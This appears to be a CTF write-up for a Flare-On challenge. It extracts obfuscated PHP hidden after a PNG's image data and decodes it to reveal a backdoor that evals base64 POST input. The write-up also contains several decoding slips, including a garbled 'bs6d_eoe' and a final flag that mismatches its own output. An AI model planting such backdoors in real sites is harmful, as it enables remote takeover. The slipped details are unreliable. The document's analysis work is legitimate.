CTF WriteUps Challenge 2

Challenge 2: Javascrap

The challenge file for challenge 2 is a html source code (home.html) with images (/img/flare-on.png). A quick run with python web server to check out the html file.

$ python3 -m http.server

flare-on-1-chall-2-001.png

We notice a Flare-On version of the website

Solution:

1. View the html source code

Upon inspecting the source code, we able to notice a weird php function.

<?php include "img/flare-on.png" ?>

It tries to include and execute img/flare-on.png as if were a PHP file. Since flare-on.png is an image file, we have to analyze the hex bytes of it.

2. Analyze hex bytes of flare-on.png

flare-on-1-chall-2-002.png

After the IEND section, it continues with a PHP code. Lets parse of the remaining with bytes and strings it out. Here is the go code to parse it out to a php source file:

package main

import (
	"fmt"
	"os"
	"path/filepath"
)

func main() {
	if len(os.Args) != 2 {
		fmt.Println("Usage: program <png-file>")
		os.Exit(1)
	}

	filename := os.Args[1]
	data, err := os.ReadFile(filename)
	if err != nil {
		fmt.Printf("Error reading file: %v\n", err)
		os.Exit(1)
	}

	// Start at the specified offset (0x19C4)
	specifiedOffset := 0x19C4
	
	// Check if the file is large enough
	if specifiedOffset >= len(data) {
		fmt.Printf("Specified offset 0x%X is beyond the end of file\n", specifiedOffset)
		os.Exit(1)
	}

	// Get data at and after the specified offset
	phpData := data[specifiedOffset:]
	fmt.Printf("Extracted %d bytes of PHP code starting at offset 0x%X\n", len(phpData), specifiedOffset)

	// Create output filename based on input filename
	baseName := filepath.Base(filename)
	extension := filepath.Ext(baseName)
	outputName := baseName[:len(baseName)-len(extension)] + "_extracted.php"
	
	// Write the PHP code to the output file
	err = os.WriteFile(outputName, phpData, 0644)
	if err != nil {
		fmt.Printf("Error writing to output file: %v\n", err)
		os.Exit(1)
	}
	
	fmt.Printf("PHP code successfully extracted to %s\n", outputName)
	
	// Preview the first 200 bytes of the extracted PHP code
	previewLen := 200
	if len(phpData) < previewLen {
		previewLen = len(phpData)
	}
	
	fmt.Println("\nPreview of extracted PHP code:")
	fmt.Println("-------------------------------")
	fmt.Println(string(phpData[:previewLen]))
	fmt.Println("-------------------------------")
	fmt.Println("(Preview truncated. See the output file for the complete code)")
}
Analyze embedded php code from the image

Here is the embedded code, which is obfuscated:

<?php $terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);$do_me="";for($i=0;$i<count($order);$i++){$do_me=$do_me.$terms[$order[$i]];}eval($do_me); ?>

Here is the attempt to deobfuscate it:

<?php 
$terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");

$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);

$do_me="";

for($i=0;$i<count($order);$i++){
    $do_me=$do_me.$terms[$order[$i]];
}

eval($do_me); ?>

Here are the information we can derived from the deobfuscated php code:

  • $terms containing shuffled set of characters
  • $order containing a list of indices, each pointing to an element in $terms
  • $do_me will form a string after iteration through $order by extracting characters from $terms
  • eval($do_me) will execute it

The caveat here is that eval is to execute strings as if it is a PHP code, since everything most of the contents is obfuscated, executing eval will show us anything.

Modify the deobfuscated php script

To observe strings output, we change modify eval to echo and execute it. Here is the output:

$ php flare-on_extracted.php 

$_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

It decodes out the PHP code with echo. This time it reveals more obfuscatation. Doing the same thing by deobfuscating it to able view the encoded strings clearer.

$_='aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';

$__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';

$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";

eval($___($__));

From the first $_ and second $__ strings, it is a base64 encoded strings but the third $___ strings is in hex . Decode it shows this:

$_ = if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }


$__ =$code=base64_decode($_);eval($code);


$___ = bs6d_eoe

From the encoded string, it is a mix of octal and hex. Here is the script to decode it:

package main

import (
	"fmt"
	"regexp"
	"strconv"
	"strings"
)

func main() {
	// The input string with various escape notations
	input := `\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D`
	
	// Corrected parsing methods
	fmt.Println("Corrected Method 1 - Character by character parsing:")
	result1 := parseCharByCharCorrected(input)
	fmt.Println(result1)
	
	fmt.Println("\nCorrected Method 2 - Regex-based parsing:")
	result2 := parseWithRegexCorrected(input)
	fmt.Println(result2)
}

// Corrected Method 1: Character by character parsing with decimal support
func parseCharByCharCorrected(input string) string {
	var result strings.Builder
	i := 0

	for i < len(input) {
		if input[i] == '\\' {
			i++
			if i >= len(input) {
				break
			}

			// Handle hex escape \xNN
			if input[i] == 'x' || input[i] == 'X' {
				i++
				if i+1 < len(input) {
					hexStr := input[i : i+2]
					if val, err := strconv.ParseInt(hexStr, 16, 8); err == nil {
						result.WriteByte(byte(val))
						i += 2
						continue
					}
				}
			} else if input[i] >= '0' && input[i] <= '9' {
				// Handle decimal escape \DDD...
				end := i
				for end < len(input) && input[end] >= '0' && input[end] <= '9' {
					end++
				}
				decimalStr := input[i:end]
				if val, err := strconv.ParseInt(decimalStr, 10, 8); err == nil {
					result.WriteByte(byte(val))
					i = end
					continue
				}
			}
			// If not a valid escape, write the backslash and continue
			result.WriteByte('\\')
			result.WriteByte(input[i])
			i++
		} else {
			// Regular character
			result.WriteByte(input[i])
			i++
		}
	}

	return result.String()
}

// Corrected Method 2: Using regex to find decimal and hex escapes
func parseWithRegexCorrected(input string) string {
	// Regex to capture decimal (\d+) or hex (\xHH) escapes
	re := regexp.MustCompile(`\\(?:(\d+)|x([0-9A-Fa-f]{2}))`)

	return re.ReplaceAllStringFunc(input, func(match string) string {
		submatches := re.FindStringSubmatch(match)
		if submatches == nil {
			return match
		}
		if submatches[1] != "" { // Decimal escape
			decimalStr := submatches[1]
			if val, err := strconv.ParseInt(decimalStr, 10, 8); err == nil {
				return string(byte(val))
			}
		} else if submatches[2] != "" { // Hex escape
			hexStr := submatches[2]
			if val, err := strconv.ParseInt(hexStr, 16, 8); err == nil {
				return string(byte(val))
			}
		}
		return match
	})
}

Final output:

$ go run fixed-output-decoded.go 
Corrected Method 1 - Character by character parsing:
a11DOTthatDOTjava5crapATflareDASHonDOTcom

$ Corrected Method 2 - Regex-based parsing:
a11DOTthatDOTjava5crapATflareDASHonDOTcom

We got the flag but need to replace DOT with . and AT with @

Flag: all.that.java5crap@flare-on.com